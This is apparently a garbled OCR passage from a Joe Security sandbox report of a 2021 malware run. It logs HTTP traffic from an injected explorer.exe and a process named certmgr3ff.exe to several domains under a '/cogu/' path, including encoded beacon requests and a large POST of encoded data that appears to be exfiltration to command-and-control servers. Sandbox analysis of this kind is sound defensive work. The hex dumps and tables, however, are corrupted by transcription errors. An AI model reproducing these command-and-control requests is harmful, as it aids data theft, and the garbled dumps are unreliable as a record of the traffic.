76 51 55 4f 34 6a 7a 56 72 44 54 43 4b 35 4b 33 34 44 4e 72 2d 55 49 4d 4f 43 78 57 55 73 5f 74 52 76 6f 6d 56 4d 6d 58
59 55 6d 73 55 47 45 6a 51 58 38 53 68 31 67 56 6¢ 6a 4b 38 32 63 51 76 49 4f 64 63 39 66 32 31 73 47 37 30 34 6f 53
52 49 78 4c 46 5f 5a 70 30 76 6f 4a 78 41 72 64 33 69 63 58 30 39 62 79 43 42 44 62 6¢ 76 68 6C 43 6¢ 54 59 41 61 74 52
47 75 37 42 46 6b 5a 62 28 6e 56 54 66 4f 52 35 37 53 43 6f 70 59 67 50 75 6f 7a 72 6e 5f 32 6f 41 36 48 32 70 74 6e 55
59 5370 70 77 5f 51 59 77 4b 63 74 6e 75 48 50 6a 6a 66 34 48 52 35 30 71 4b 4f 46 7e 39 52 68 52 46 77 56 4a 56 56
39 65 6e 79 36 65 39 66 34 44 32 34 7a 35 30 55 72 57 4a 64 47 6e 50 67 57 50 44 34 45 39 6d 28 5a 72 64 52 47 56 32
41 41 63 4b 54 7a 79 4b 62 58 6d 50 73 69 41 6¢ 67 7a 36 72 36 79 58 50 39 6f 74 34 4f 51 65 34 31 62 56 57 4f 59 61 41
34 46 4d 57 68 64 57 76 73 38 58 33 56 55 4c 6b 32 4e 28 72 51 56 6¢ 78 6¢ 6d 37 58 66 6f 57 71 74 79 70 71 38 51 55 4f
6f 39 31 77 36 55 51 6e 62 62 6a 56 49 78 4f 2d 33 66 49 71 6a 4a 42 45 54 54 45 66 39 66 63 6f 43 51 6b 42 75 59 41 79
6c 69 30 6a 69 30 77 6d 79 47 34 79 75 58 6e 2d 33 5f 6¢ 76 6b 31 47 31 6d 6f 31 6e 65 4e 36 56 4a 4e 34 39 30 73 49
4859 42 35 44 6d 44 7a 37 39 6e 49 6b 48 56 48 66 78 47 6d 43 4b 51 56 53 6e 6¢ 78 2d 59 62 39 76 72 44 56 76 73 6a
42 49 35 45 66 62 48 51 30 77 37 37 46 4b 30 42 38 35 41 4c 6a 43 34 48 33 79 6e 45 61 47 58 5f 41 4f 46 5a 43 77 77
4a 66 73 73 2d 44 52 7a 6b 42 74 33 57 47 7a 61 67 7e 41 4a 5a 77 77 43 78 78 34 39 45 57 31 30 65 36 4b 7a 71 79 42
7a 6a 30 6c 47 56 6e 42 72 4a 4b 4f 59 4d 4c 4e 35 76 4f 65 71 7a 28 70 73 30 76 64 6f 56 4e 33 39 6a 76 62 62 69 72 75
28 735550 35 70 65 58 36 74 6¢ 4a 41 43 53 67 72 54 7a 5f 41 4b 37 51 32 6b 48 4c 64 59 68 70 73 4a 43 53 69 7a 79
34 58 46 7e 55 59 73 55 77 6f 64 4c 6d 39 4d 4c 4d 44 55 38 4e 31 5a 47 72 61 51 36 41 6d 42 46 31 72 44 28 64 42 44
3757 703936493671 73 4e51 76 6d 39 79 63 6f 42 62 58 64 45 30 55 7e 35 61 76 38 63 4d 62 31 2d 33 37 49 49 70
6251 72 72 39 68 5a 6e 32 51 4b 61 31 78 6e 67 74 41 33 6¢ 4c 56 4c 58 51 48 41 69 77 65 4f 4f 68 64 64 45 35 74 73 68
6d 57 4e 7557 4931 79 71 61 72 34 50 34 31 7e 51 6a 75 61 47 73 30 51 64 6¢ 62 79 5f 6¢ 30 4a 6a 45 68 61 69 59 63
4556 6b 68 77 52 75 48 35 64 4b 50 4e 49 71 34 54 58 72 6e 54 49 71 4b 75 68 68 57 64 54 51 68 4f 54 6f 66 72 36 4e
35 6e 65 72 66 6f 32 4d 6f 37 37 58 67 57 56 78 5f 4e 67 64 76 74 48 33 38 78 55 6e 6a 5a 4e 43 36 61 67 65 30 54 71 32
56 58 47 73 33 6e 57 53 58 54 35 36 4a 66 42 4b 52 4c 49 28 73 4f 77 35 4d 76 32 6a 42 35 57 75 42 4b 63 6d 6e 45 4a 4
b 56 79 6d 74 47 4a 78 67 37 7e 50 43 50 6d 62 72 39 53 2d 45 45 74 56 79 72 4e 37 31 48 44 58 6b 65 76 5a 37 65 4f 76
42 57 32 6¢ 32 39 51 7a 49 32 37 5f 6a 79 37 51 4e 31 6e 39 4d 59 4f 4c 75 77 43 5f 58 62 50 45 6e 7a 75 45 68 36 6b 6¢
757131 6e 79 73 4d 66 30 33 41 34 41 64 71 65 66 79 4f 6d 5a 41 41 4c 44 46 6e 77 49 38 75 69 42 52 41 47 38 41 49
756d 71 75 54 74 55 70 51 50 69 7a 7a 6d 74 64 73 30 64 4b 4d 38 5f 53 61 28 58 39 34 43 4a 43 74 57 6a 43 6b 47 31
4f 4a 32 34 66 37 70 6a 49 55 77 42 65 45 71 77 53 62 61 67 76 77 4c 78 48 70 5a 63 4d 56 67 73 4b 75 56 78 4f 48 72
42 44 71 73 66 43 63 34 71 4a 51 36 31 70 75 35 76 7a 7a 4f 4d 4d 63 49 4d 45 41 4f 55 54 74 32 42 42 59 4d 73 74 62 6¢C
63 44 58 4e 31 61 68 48 50 66 54 35 4d 31 33 4c 51 7a 4d 42 4b 61 54 4c 4f 53 64 55 62 39 58 56 71 4e 68 36 33 7a 5f 4d
73 61 45 41 56 41 64 59 79 6d 74 37 78 74 71 45 39 78 66 69 33 4e 41 4c 73 56 34 37 63 43 66 70 31 62 52 72 6d 4e 30
73 4558 70 57 35 63 4a 44 48 46 4a 28 7a 31 5a 42 6d 61 49 56 4f 28 58

Data Ascii: E6=z5u2ikI5OFtAlv1v5rRQZugVCotqtReRHae0ZI16sO3(HNco9ttEgjQI9lyyUY_CN6EbSoFuTIjlbXmK~1Y05L2
Pkky4TKubOLmzrNnOC05RhVr303~28Waatykw61bCnmJ7zVISE_oYaBxcizYZFbScgllvQUO4jzVrDTCK5K34DNr-U
IMOCXxWUs_tRvomVMmXYUmsUGEjQX8Sh1gVIjK82cQvIOdc9f21sG7040SRIXLF_ZpOvoJIxArd3icX09byCBDbIvhIC
ITYAatRGu7BFkZb(nVTfOR57SCopYgPuozrn_20A6H2ptnUY Sppw_QYwKctnuHPjjf4AHR500KOF~9RhRFwVJIVV9eny
6e9f4D24z50UrWJdGnPgWPD4EIM(ZrdRGV2AACcKTzyKbXmPsiAlgz6r6yXP9ot40Qe41bVWOYaA4FMWhdWvs8X3VUL
k2N(rQVIxIm7XfoWqtypg8QUO091w6UQnbbjVIXO-3fIgiIBET TEf9fcoCQkBUYAyIi0jiowmyG4yuXn-3_Ivk1G1m
01neN6VIN490sIHYB5DmMDz79nIkHVHIXGmMCKQVSnIx-Yb9vrDVvsjBISEfoHQOW77FKOB85AL|C4H3ynEaGX_AOFZC
wwJfss-DRzkBt3WGzag~AJZwwCxx49EW10e6KzqyBzj0IGVnBrJKOYMLN5vOeqz(psOvdoVN39jvbbiru(sUP5peX6
tIJACSgrTz_AK7Q2kHLdYhpsJCSizy4XF~UYsUwodLm9MLMDU8BN1ZGraQ6AmBF1rD(dBD7Wp9616gsNQvm9ycoBbXd
EOU~5av8cMb1-371IpbQrrohZn2QKalxngtA3ILVLXQHAIweOOhddEStshmWNuWIlyqar4P41~QjuaGs0Qdlby_[0J
jEhaiYcEVKhwRUH5dKPNIg4TXrnTIgKuhhWdTQhOTofréN5nerfo2Mo77XgWVx_NgdvtH38xUnjZNC6age0Tq2VXGs
3nWSXT56JfBKRLI(SOW5Mv2jB5SWuBKecmnEJKVYymtGIxg7~PCPmbraS-EEtVyrN71HDXkevZ7eOvBW2I29QzI27_jy7
QN1n9MYOLuwC_XbPEnzuEh6kluglnysMf03A4AdgefyOmZAALDFnwIBuiBRAG8AIUMquTtUpQPizzmtdsOdKM8_Sa(
X94CJCtWjCkG10J24f7pjluwBeEqwSbagvwlLxHpZcMVgsKuVxOHrBDgsfCc4qJQ61pusvzzOMMCIMEAOUTt2BBY Mst
blcDXN1ahHPfT5M13LQzMBKaTLOSdUbIXVgNh63z_MsaEAVAYymt7xtqEIxfiBNALsV47cCfplbRrmNOSEXpW5cID
HFJ(z1ZBmalVO(XbsnequVpO4HOF1Y gh-y TtRCngwAnniNHtzkx2zfV9Af_wK8aV5uwlqHWzrcV87Ipvi1gkxfECZz7
YeRYnNvF2JJHEVCGObGvnYKXII0GdEaaeM530q295086fsszATq6e5LQSxGZgHEBCuptjFc588xwzEQgn8XOtEPYWP
GBr~r96PsSHPY|BbkBiBKpyaQ8UjjzhX6is~YSNaCJJdVY75I17qP2S0O15alLOH4sn0E3DexVGItMZImCTfioY SHOpdg_M-
Kj8BBD(Ir-0t5z5CnyfLBkAz5u18Wrg8KwiDdTH5bbZXqundPxHans6d5GRyAo~RES2SSccyvdSEwAa8XA51A
Y~ahoMFmLyrjlGOuOFrygimrO9tipu4Vm4zgioee3ZmY3JwlY89V8gndexyOVIXxY(ss_OlczknKuDseANPYyVOelD
3txt3mwV611m7UIC5506hAidn6SIUy01UKIIalx1ikF7qjsUY TZpx15j8ffc-kLrzZ9vCThnmSAzoyAUr8W0O4D81Y2
gEOXL~Ja-YXGMWcKk3g057xS_YnMShSIC3DKhw1C4yOAJINYXf_4YTmjN1X002g1VZGyx6ueary2THp~pHxaC49RSh
TB0O9IMIYiG(KhcQMODwe3ImT2qJiWaiu7ZL80_DfNwimTwIPEGPF8QQGmMPgnV_DOjJEOIgHGyYt8nFIIXCBhmFrMIX9wm
nHQCwyxIOsTZDTfpgRcgQq_~NI4ZaoRTArfmRjtdpj53W90ATgWiLtsxviKxVNQat18BHBHwOhZHgbzAXdwJKfyoFa
aCDmc7D9IpgFyfB4B8Y3rj7EzLTwzvGj1fLm1jdgT4u91WWNQcmv6lOofd-CqcswwDp5YLdH23rG02cAjb8rii3Bug5g-9us

Destination IP Destination Port Process

199.34.228.191 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=87aM8EhKbioxWIIC6s4JEY cLDNdjIIEZPCwIIW3J1beA80HN/9Mglw4nOmGUY +KwtTo&EVpdF=D
6AIWhC HTTP/1.1

Host: www.shopsharpgraphics.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Oct 13, 2021
15:51:15.222136974 CEST

Session ID

4

Timestamp

Session ID

40

Timestamp

Oct 13, 2021
15:51:41.018356085 CEST

Oct 13, 2021
15:51:41.671710014 CEST

Session ID
41

Timestamp

Oct 13, 2021
15:52:43.893030882 CEST

kBytes
transferred

6777

Source IP

192.168.11.20

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

6819

6819

Source IP
192.168.11.20

kBytes
transferred

7492

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49826

Direction

Source Port

49823

Direction

ouT

ouT

Source Port
49838

Direction
ouT

Data

HTTP/1.1 302 Found

Server: nginx

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Cache-Control: no-cache, private

Date: Wed, 13 Oct 2021 13:51:15 GMT

Location: https://www.shopsharpgraphics.com/cogu

Set-Cookie: publishedsite-xsrf=eyJpdil6lmo0TzINWmMVJOXYzZE94blk5UVdZWHCc9PSIsInZhbHVlljoidkJ6N2c4RndsU
3dHaVwvNmFtRIBaNINRTOh5TUZEMGFHYOX5THEY UM3MGNONDF1U2xHN2FSMWk4cHILWmZcL3dRTjdyV
HgwZVZSZmRNeEFKOHFQRW1FNXF3ekRjSmRHbTJaZDRDZTMwd2k1eDJOMUxhR3VIRFdtej| GOGFRT1dob
Clsim1hYyl6ImRkNzZjY2UOOTRhODZjMzA5NTYzY Tk1M2U3Y2NINjk1IOWNhZDIXYzhhMjZjZGViOTZIOTc4ZWQXNDU
4YTc3ZTIifQ%3D%3D; expires=Wed, 27-Oct-2021 13:51:15 GMT; Max-Age=1209600; path=/

Set-Cookie: XSRF-TOKEN=eyJpdil6ImRidTAIWIZUTIpSUThuSTF4blUXSOE9PSIsInZhbHVIljoiRDF1djIMUzF
YMES5cL3FVUTZHazJyQTIrdk9GMXVRaWQzQTVRMDNNWXILUMFTdGICWWtOUHRTcTRKWHIZV3FQcEdcL1J
kQzVscnR5djhOWFZYTTIBMTVSNUZGNOdQZFwvWXY 2aG4xNDNiTjRWUOpuQ2xHc1INoXC8wV2kzWXpYcOV
1QXhY liwibWFjljoiZmJiMDhjZGRjZWQxNDcwOTI2YjUONWQ20GQ3YmUWMTRKYmMMzZjlkNzBKY WQOM]E2ZWYWYZzQwZ
jUyNzIkMDU2NSJ9; expires=Wed, 27-Oct-2021 13:51:15 GMT; Max-Age=1209600; path=/

Set-Cookie: PublishedSiteSession=eyJpdil61jVyVDI4VEIDTnpwNk1VUUV5RmMkxSKE9PSIsInZhbHVIljoiKzNNTFICeFY
2WKNKbXFnMjBreVBTSINQb3I3U3B2SWMyRmMUST3FIAXNETOFKb2JKMmIXVmd5ZHROTGhqeUSTZDNtMWR
2705qZjQzTIIGdFoyUTdxSONTS]jJiZGVBajl2eEdxYnllOTN

Data Raw:

Data Ascii:

Destination IP Destination Port Process

172.217.168.78 443 C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe

Data

Destination IP Destination Port Process

156.239.224.4 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=ryReQ6gKjl02p+tUx8m+7gLTnsOHXWXot/Pd7vxfolZ67qcT6NKb85r0SsRZKPEM7LMW&GJIE=6ITPJF
HTTP/1.1

Host: www.alo360.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

GET /cogu/?E6=ryReQ6gKjl02p+tUx8m+7gLTnsOHXWXot/Pd7vxfolZ67qcT6NKb85r0SsRZKPEM7LMW&GJIE=6ITPJF
HTTP/1.1

Host: www.alo360.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP  Destination Port Process
91.195.240.94 80 C:\Windows\explorer.exe

Data

POST /cogu/ HTTP/1.1

Host: www.nul2.online

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.nul2.online

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.nu12.online/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 66 54 54 39 46 6d 4e 4c 39 69 36 77 6¢ 51 7a 58 51 4d 56 37 71 44 52 43 37 44 34 46 59 55 7e 63 71
61 6e 54 30 52 42 74 4a 6¢ 4a 77 48 52 71 4e 4a 45 37 57 61 70 34 67 35 69 50 57 49 38 54 61 4c 63 6e 6d 4e 6a 31 51
4d 65 44 76 47 65 53 5a 42 51 51 70 34 61 4c¢ 53 32 32 79 42 74 36 4b 46 65 74 55 59 46 4f 52 69 79 6e 36 42 71 49 38
74 37 67 337945 4e 31 54 4a4a 44 77 76 37 64 51 71 45 6f 47 43 51 42 43 53 51 5a 68 69 4f 45 37 5262 745170 71 5
2 4c 76 72 4d 56 67 45 42 4a 71 5f 58 57 30 47 63 6a 6¢ 6d 38 33 41 30 67 6b 70 65 4a 5a 48 42 6d 64 66 4a 39 6¢ 44 66
6e 45 68 55 32 4c 41 72 59 6f 34 41 45 50 75 4d 7e 77 36 2d 64 61 4b 42 4e 2d 70 30 62 33 7a 6b 65 42 59 61 4f 71 48 76
44 32 34 69 4c 52 39 34 66 65 56 75 39 51 37 4b 59 6d 55 32 4c 5f 72 6¢ 50 6a 4b 6¢ 5a 63 39 72 66 65 58 7a 67 5f 49 42
4F 76 41 34 7e 49 32 5a 6b 75 53 53 64 55 59 4a 51 55 4b 75 61 58 52 4e 69 65 70 33 41 47 74 58 6d 6a 31 61 4d 76 75
37 74 34 36 55 32 74 7a 5f 66 53 67 59 38 54 39 41 34 47 78 6e 70 68 6¢ 4d 33 2d 6b 6e 69 72 58 68 30 54 4d 48 45 31
75 6¢ 78 57 53 69 59 6¢ 68 73 61 54 34 73 36 58 72 6d 52 7a 72 37 4f 30 38 45 35 38 43 73 6e 6¢ 59 45 6d 76 7a 67 69
4b 71 6f 35 39 41 34 62 2d 68 42 57 79 36 53 58 45 7e 36 47 77 6a 33 62 48 64 48 70 50 6¢ 6¢ 47 5a 34 6f 38 6b 6f 6b 6a
63 3358 62 75 62 5f 47 61 78 67 47 46 56 78 4b 5f 35 62 53 6b 50 43 64 52 43 69 4e 52 79 62 51 56 6¢ 66 38 4a 79 50
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kBytes
Timestamp transferred
Oct 13, 2021 7620
15:52:43.928471088 CEST
Session ID Source IP
42 192.168.11.20
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

49839

Direction

48 5a4c 70 33 7a 453553 7a4a 6¢ 58 7a 47 5568 723233 78 4a 74 72 67 7a4c 76 58 41 56 48 49 65 6t 65 46 4d 75
B%zae 4f 62 51 32 4d 79 33 39 70 4b 4b 64 5f 50 52 73 4e 72 75 53 65 78 76 75 75 63 58 52 73 6d 53 74 30 4f 72 69 50 38
31 36 5a 6e 58 66 4c 48 54 4e 2d 58 42 76 59 75 5f 49 55 30 4d 6f 6f 4b 72 28 46 79 76 50 4b 49 38 36 55 58 45 64 78 46
4d 56 6f 65 55 6b 44 6d 32 63 38 52 77 6b 6e 7e 4e 6e 37 49 58 74 66 42 62 72 35 46 41 7e 77 48 52 78 6a 50 2d 6d 67
76 30 6d 62 68 48 52 63 39 47 68 41 70 42 34 63 58 56 68 6a 50 52 44 7a 54 69 41 43 57 7238 72 70 77 38 55 6¢ 62 33
66 38 56 70 2d 47 56 4e 67 64 2d 44 56 4a 59 34 6¢ 6¢ 71 6¢ 54 4c 31 57 68 70 70 62 67 4f 6d 7a 69 6a 59 37 35 48 61
3950 31 6f 6a 67 73 37 56 7a 28 4c 62 61 6d 4a 4d 59 78 6f 4a 33 7e 4b 28 2d 69 52 33 72 39 35 63 2d 4a 31 6b 66 69 51
38 6d 65 79 34 62 32 45 63 4b 6b 68 7e 79 47 31 7e 75 6b 6a 7a 79 59 4c 6¢ 70 56 36 76 42 56 57 6d 48 79 76 36 69 62
48 62 5a 28 71 78 6b 72 41 4d 4d 39 61 59 37 65 53 59 66 28 55 69 6a 30 6d 6¢ 42 6d 66 70 31 61 79 75 38 69 61 52 77
6e 33 59 6e 7e 38 69 6e 53 6b 33 7a 4f 74 4e 4d 63 64 38 4f 59 4e 51 62 72 45 68 31 6e 53 4b 75 6d 69 43 46 74 69 43
54 4e 78 5a 45 56 51 7e 61 65 34 78 63 5a 44 43 6b 37 6b 45 4b 6d 75 6e 59 6a 65 62 38 71 49 48 55 6d 79 67 31 77 38
51535336 57 45 31 5f 67 2d 75 36 6¢ 74 47 54 4d 63 6e 34 44 63 72 33 57 4c 31 79 30 6¢ 43 53 5a 64 43 65 4e 36 51
765371737777 7070 78 6d 35 4b 30 6e 6e 65 35 72 53 6b 65 4a 55 28 53 74 45 78 5f 38 39 49 54 4f 56 47 30 51 39
785531506557 783972 4f 7541 77 41 46 79 6b 71 63 5a 7a 49 72 61 4b 4c 56 4b 4a 6b 65 32 46 51 62 33 61 6b 78
45 64 38 61 73 57 58 53 6a 72 35 48 41 61 51 77 6¢ 4e 48 70 62 28 6a 52 4c 45 47 73 35 58 41 30 6a 70 4c 56 45 6f 33
45 4f 79 57 59 74 31 52 31 63 50 66 75 4f 30 6f 6b 46 56 47 47 79 42 6d 61 76 30 72 57 45 69 41 54 31 41 4b 68 46 50 55
57 6d 72 50 32 46 68 46 50 39 38 46 30 36 58 66 72 2d 78 32 54 69 57 76 31 6b 74 61 6d 4a 6a 4d 59 4d 76 41 6d 65 6a
6550 77 53 55 46 2d 28 55 43 34 7e 67 37 69 64 6f 76 33 34 68 28 48 56 55 43 39 46 36 68 71 43 4d 64 42 70 79 65 64
38 4e 7e 78 41 50 38 76 36 2d 6f 74 45 4e 65 45 35 6¢ 31 55 47 39 51 31 41 6e 47 48 48 35 6f 49 63 4d 4c 72 4b 4a 4c 31
68 4c 69 6f 62 5a 4d 53 53 41 42 4f 77 4b 4a 74 66 61 30 44 62 6b 7e 75 4f 4d 54 51 66 78 34 39 4e 77 58 52 35 4d 53 30
737477 5f 42 5f 78 6d 63 76 55 78 56 31 63 35 33 43 4b 4d 46 52 73 2d 65 5a 66 6d 72 38 4d 6b 54 59 42 52 31 63 73
4a 30 68 70 61 41 49 39 71 52 46 44 46 34 4f 36 52 73 42 6b 4b 54 4d 45 6e 48 62 6f 39 78 38 44 34 51 70 46 6b 59 56 7
7 4a 7959 64 30 28 62 43 4d 65 57 55 44 70 68 6b 73 73 69 64 46 4e 2d 6¢ 36 39 31 43 73

Data Ascii: E6=fTT9FMNL9i6wIQzXQMV7gDRC7D4FYU~cqanTORBtIIJWHRqNJE7Wap4g5iPWI8TaLcnmNj1QMeD
vGeSZBQQp4al S22yBt6KFetUYFORiyn6BqI8t7g3yEN1TIIDWV7dQqE0GCQBCSQZhiIOE7RbtQpqRLVIMVIEBIg_XWO
Gcjlm83A0gkpeJZHBmdfIOIDfnEhU2LArYo4AEPUM~w6-dakBN-pOb3zkeBYaOqHvVD24iLR94feVu9Q7KYmU2L_rlP
jKIZcOrfeXzg_IBOVA4~12ZkuSSdUYJIQUKuaXRNiep3AGtXmjlaMvu7t46U2tz_fSgY8TIA4GxnphIM3-knirXhOTM
HE1ulxWSiYlhsaT4s6XrmRzr7O08E58CsnlY EmvzgiKqo59A4b-hBWy6SXE~6Gwj3bHdHpPIIGZ408kokjc3Xbub_G
axgGFVxK_5bSkPCARCINRybQVIf8JyPHZLp3zE5SzJIXzGUhr23xJtrgzLvXAVHIeoeFMuR~ObQ2My39pKKd_PRsNr
uSexvuucXRsmSt00riP816ZnXfLHTN-XBvYu_lUOMooKr(FyvPKI86UXEdxFMVoeUkDm2c8Rwkn~Nn7IXtfBbrSFA~
WHRXxjP-mgvOmbhHRc9GhApB4cXVhjPRDzTiIACWr8rpw8UIb3f8Vp-GVNgd-DVJIY4llgITLIWhppbgOmzijY 75Ha9P1
0jgs7Vz(LbamIMYx0J3~K(-iR3r95c-J1kfiQ8mey4b2EcKkh~yG1~ukjzyYLIpV6vBVWmHyv6ibHbZ (gxkrAMM9aY 7eSYf(Uijo
mIBmfplayu8iaRwn3Yn~8inSk3zOtNMcd8OYNQbrEh1nSKumiCFtiCTNXZEVQ~ae4xcZDCk7kEKmunYjeb8qglHUmyg
1w8QSS6WEL_g-ubltGTMcn4Dcr3WL1y0ICSZdCeN6QvSgswwppxm5K0nne5rSkeJU(StEx_89ITOVGOQ9xU1PeWx9r
OuAwAFykqcZzlraKLVKJIke2FQb3akxEd8asWXSjr5HAaQWINHpb(jRLEGS5XA0jpLVE03EOYWYt1R1cPfuO0okFVGG
yBmavOrWEIAT1AKhFPUWmMrP2FhFP98F06Xfr-x2TiWwvlktamJjMYMvAmejePWSUF-(UC4~g7idov34h(HVUC9F6hgC
MdBpyed8N~xAP8v6-otENeE5I1UG9Q1IANGHHS50lcMLIKJIL1hLiobZMSSABOwWKJItfaODbk~uOMTQfX49NWXR5MS0stw
_B_xmcvUxV1c53CKMFRs-eZfmr8MKTYBR1csJOhpaAl9gRFDF406RsBKKTMENHbo9x8D4QpFkYVwJyYd0(bCMeWUDp
hkssidFN-1691CshgVIhNHaEEsy2mHc5MwnJfMDE_hIRIZknjx7b4QC(70nl_ryahOUfQMVQgI9imtE7upcBHIZZW~
53iGeqObQIfCt2uusL3G-ukow4Slilam8KI6lyx8issfimlcgf_JU3phv(psTkBtGwSNmdKyozt0QjBkHD4A80093qlbWaI(0T9v
ycPPyliQ2jN(tXJcBTqY6raBtOWMXHdtFEmMIL8vjKvWmsFIDObQ4cu4FB~NnpVITITughXxOXqeil5NIDrOL906dZ6
mchCl9jCDKmPX3SGOp2(gH8plbg2mS-xQLwu_OxHilelUGG4U92MVIcEq(1hzXXeZrXtRmfkz039NxIr9a6Ez02a75
Q5a5XZchd(khfv3wXmq2_5HdD6KeARBgH2cxefKUpgBmeY _t8fWHIq2fxV1FBOQHO4XoC705B4mAphJIMRcQcelsRS
ZLphnOjNRrBdqcQKP12vEGycklgCQjfjfaBfMioE-xTf0zginJSNyrlEQi7hcGUtct7EZ~NIHONGKKZijNmQNFMoKd
4AsPuxLb1gjApylqBrcYOXLxOKTKazZzF_UGXhzfAG5_MyA8J7br~_jVXWuowolwDsvuVKJ1s1pTHgb-Jc73W180RAh
t(A7cD8NE06WqQfvBWhZtvWy2hk4fXHvHcdweB-WbZkYsOcLasRUhOdwpjJCeglfY57aQSKLo93Lj7W2-ZR2IlzhwVW
sX08IUqvnLp23YjUuyLXtz7rTBz5pNS(6INPJAFVhAMfZnPN9k5vKalmLyMaQ6A1lIhR6IXGgbYAscPIwWXrHfEspBz
nKiRda_~TDR6LT8JxZqi5a6BriNVd34E_olBXIl4BPk2CsamYAWWonosYTnEnhJg8u3czdAXw2_P2LQX37Z58NOCGQ
JhH2nmzHkos3YkHtUcZUHucdwWePUhJtaPwFxiK2gEGhdb6WY~Xex0O2sPy6KdrBMVODVISedwMQAXJQUNNLUrY7P_y
20AnW8FsxpYcgnUYanoaGNGzykaF5YAFkz6i0yu77JMZ-m0z6ZvDdoA9xWhzHva~MT3ybqH6a5HS]M66A0LG-ce45S
DW-n60W4I0tsJj51DnTOCTdq2~XYE8EIBJ3S3klcZmvhC2TJ4UfIhEnqOJR7UH3jv~R5bpIMSym00n7IR9AROrPOKq
EqesZ4toG5WZOnIbAPUSj~XrkYpg66uel 2eKfZ64V7ywEYF(RqfQZGU8BVP7Y6CSobjs2LImhDKOFVWei_ZFJyJL (Xt
ADK5_0j(VCDGRrR6B0C2JdBahT4v5(XeValt19g4_UUUQFh9fqf3fWo6zadYcZ9fPHBTP7q87dDxFFaOO~XfIN8JIOT
BIs62NVSxr6(lIr49jNyiBXYPfxenoY YewlAgh500nQHKQfJIzH-95RabRjnXYoN6GNIPRGG3ApPCiMgnXT1p7SY71a6-
APIXY7xPU3MZInmpalaFd4QX7ZhsOfN_WR9mH-DBdgNPRbmYNX0U1IGy(8KHd2XAZ-ypgBfNHAMF5TIOX7GmuRFIF
RVIIFXWPWHy30(xopUcKK87d5iLMSHAwvZ6e_8_sTych3C8gQawFEVHK|jeEF2CK5AArXpS-Im3L4PPpXhVRe3CEeRa
fVrNejTnI4ALOGBerYHOfE49yMU~cvsGdXFoLu8Sh70uX7FjtrX0P4rc-0lSz5VIzvGDsf9kdgqOSZzDQ7dpzPw5tO
_SmSjD8IGDVRHbJIb6DgIGTdkUxKDg3PyTLBFqGN7EY0BeUrQ7xjGiuhBrwsOWCKU1WnrYscOsiuij8D5ysQ(ikauEc
O0F3~GPu4vo2yc6jYubPGg0ZIxfsOiv-VCVMPRvesez0AyXhyGpvzYm_GOVedOscLIYonGajQZZpkigr(ZgQmOs89XO
OulEzFVy5v3Go7yhpQyZAxakPFgerul2ElYV3NEfqXiOidilpiy2040ru(63jy-WCBRhOEA-9kMSpTOO4M3VHIeVE
aW3sGvBO055SnmUEDuU1H4SNo4cPLS~_IbCkBif7~KFjtcDaXtsrDezQ90NOMUNCRES]jjjsY0JzSSCe2L4ovEuZ_Af3
K7fHO(ypA3JZx0nFa(-Pf108yvaNwvevLwP4EY PfTBtCq33XfR6JaBWheWyxry34001dGsdrq6Ae8ex6R8NbK9uyzO
VvO5MIPw8B4qtToHvxumSPAvy4Wh2tcp5XQnoFmbLVuC2JYruax4HOQEzdsfZJWAZTDq8v~So9e20uibLSFTsFHrvaq
00p75uu96!1VwZu70pECVYHMTGjZPjh3h3iktvwvQxDkA4nM2PT5QtnkpWzwq87MjBzK5k1A0J78-vzajQQ6cxCFgU2B
eyazal Zmja90dRmA347z7jKkf9ziAM7eBf5~FP_fI2ADrPyV6QHYyM1i6u8NZJANEh9Fy87fJIRWQrMOPVIUHe96Y25
0K67Ez89g5P3JcyGp2fF7leVIE(ZntyjQhalKb4SDOyYYynQ6uWGZnUZi7SQvgYQ33Pu0CBTX2i0BWo(3QAhbXN(L7dP
ISHUe4Q7U8awxGhhRozTF5xeVoFfGmOTZhoeXjsSIJFeelOnY7AEFWZxvUGY dbJH7fOdNWCJIgRXQRGLfcMnpRb8AWY
uY1YB8VhWmcXJoTDjsNINQX6aqchlkZrccLUWuUjrGmxZIpY8TrkiNgpM5wmpompgB(fEKXJgMxUBt1Reah8 QAWCarv
AJODRCE4u6EU48ayYbvUIZPVSrYo

HTTP/1.0 502 Bad Gateway

Cache-Control: no-cache

Connection: close

Content-Type: text/html

Data Raw: 3c 68 74 6d 6¢ 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e
0a 54 68 65 20 73 65 72 76 65 72 20 72 65 74 75 72 6e 65 64 20 61 6e 20 69 6e 76 61 6¢ 69 64 20 6f 72 20 69 6e 63 6f 6d
70 6¢ 65 74 65 20 72 65 73 70 6f 6e 73 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <html><body><h1>502 Bad Gateway</h1>The server returned an invalid or incomplete response.</body><
/html>

Destination IP Destination Port Process

91.195.240.94 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred Direction

Oct 13, 2021 7527 ouT
15:52:43.904776096 CEST

Oct 13, 2021 7622 IN
15:52:43.932427883 CEST

Session ID Source IP Source Port

43 192.168.11.20 49840
kBytes

Timestamp transferred Direction

Copyright Joe Security LLC 2021

Data

GET /cogu/?E6=QRnHbABZrlah6x+kOaYWzzpt/wEyN1uu/6itxi1XZIZPOwHQf3Tea8RViivUAbNONg3Q&GJIE=6ITPJIF
HTTP/1.1

Host: www.nul2.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=utf-8

Location: https://www.nu12.online/cogu/?E6=QRnHbABZrlah6x+kOaYWzzpt/wEyN1uu/6itxilXZIZPOwHQf3Tea8RVi
